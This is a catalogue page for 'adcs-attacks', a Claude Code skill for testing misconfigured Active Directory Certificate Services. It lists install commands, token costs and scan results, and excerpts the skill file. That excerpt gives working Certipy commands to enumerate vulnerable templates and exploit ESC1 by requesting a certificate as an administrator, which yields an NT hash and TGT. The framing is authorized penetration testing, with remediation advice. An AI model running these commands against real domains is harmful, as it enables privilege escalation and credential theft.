adcs-attacks

adcs-attacks is a skill for Claude Code from ADScanPro/Claude-AD. It costs 104 tokens per session (3,683 once invoked), scanned A, original, MIT.

A guide to finding and testing misconfigured Active Directory Certificate Services. AD CS is Microsoft's system for issuing certificates that computers and users can use to authenticate.

In plain words
What is it for?
Use it during authorized assessments to enumerate vulnerable templates and certificate authorities, test the applicable ESC misconfiguration, and document the resulting risk.
Why use it?
Poorly configured certificate templates or authorities can let a lower-privileged account obtain credentials representing a more privileged user.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the Claude-AD plugin — 8 skills, 3 commands, 3 agents shipped together

Good fit Use it during authorized assessments to enumerate vulnerable templates and certificate authorities, test the applicable ESC misconfiguration, and document the resulting risk.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/adscanpro/claude-ad/adcs-attacks
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add ADScanPro/Claude-AD --skill adcs-attacks
Clone the repo
git clone --depth 1 https://github.com/ADScanPro/Claude-AD

Made for: Claude Code.

Or install Claude-AD, the plugin that ships this one along with the rest of its 8 skills, 3 commands, 3 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for adcs-attacks

README.md
[![agentmods](https://agentmods.dev/badge/skills/adscanpro/claude-ad/adcs-attacks/github.svg)](https://agentmods.dev/skills/adscanpro/claude-ad/adcs-attacks)
Your own site
<a href="https://agentmods.dev/skills/adscanpro/claude-ad/adcs-attacks"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/adcs-attacks/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for adcs-attacks

Your own site · 80×15
<a href="https://agentmods.dev/skills/adscanpro/claude-ad/adcs-attacks"><img src="https://agentmods.dev/badge/skills/adscanpro/claude-ad/adcs-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 104 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,683 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 16
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00104 $0.03683
Opus 5.5 $0.00042 $0.01473
Sonnet 5.5 $0.00021 $0.00737
Haiku 4.5 $0.00010 $0.00368

Measured 3mo ago against content hash 90b420e2bcf3, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

adcs-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/adcs-attacks/SKILL.md · 267 lines

How it starts

The opening of the file, as written. The whole thing — 267 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AD CS Attacks (ESC1–ESC17)

AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses Certipy (the ly4k project) throughout. You drive it by hand.

The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies.

certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout

Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report:

certipy find -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound

The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. -target is the CA/enrollment host and must be an FQDN, not an IP.

certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags]
certipy auth -pfx administrator.pfx -domain corp.local

certipy auth performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add -sid <target-SID>.


ESC1: Enrollee-supplied SAN (MOST COMMON)

What it checks. A template where low-priv users can enroll, the template has an authentication EKU (Client Authentication / PKINIT / Smart Card Logon), and CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT is set, meaning the requester chooses the Subject Alternative Name. You put a Domain Admin's UPN in the SAN and get a cert that authenticates as them.

certipy req -u [email protected] -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template VulnUserTemplate -upn [email protected]
certipy auth -pfx administrator.pfx -domain corp.local

Remediation. Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from templates that have an authentication EKU. Require CA manager approval for enrollment. Restrict enrollment permissions.

Read the full file on GitHub · 267 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3mo ago First seen · 267 lines · 104 tokens per session scan A 90b420e2bcf3

Subscribe to this mod's changes

adcs-attacks is a skill published in the GitHub repository ADScanPro/Claude-AD (227 stars, last pushed 3mo ago), licensed MIT. It adds 104 tokens to every session and 3,683 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

adcs-attacks compared with skills from other repositories

adcs-attacks next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
adcs-attacksADScanPro/Claude-ADSkill2273mo agoMITA104Claude Code
performing-active-directory-penetration-testxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A48Claude Code, Codex
deploying-active-directory-honeytokensxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A101Claude Code, Codex
pentesting-ldapxalgorix/xalgorixSkill1.6kyesterdayApache-2.0A99Claude Code, Codex
deploying-active-directory-honeytokens26zl/cybersec-toolkitSkill116yesterdayMITA101Claude Code
conducting-internal-reconnaissance-with-bloodhound-ce26zl/cybersec-toolkitSkill116yesterdayMITA96Claude Code
executing-active-directory-attack-simulationxalgorix/xalgorixSkill1.6kyesterdayApache-2.0C107Claude Code, Codex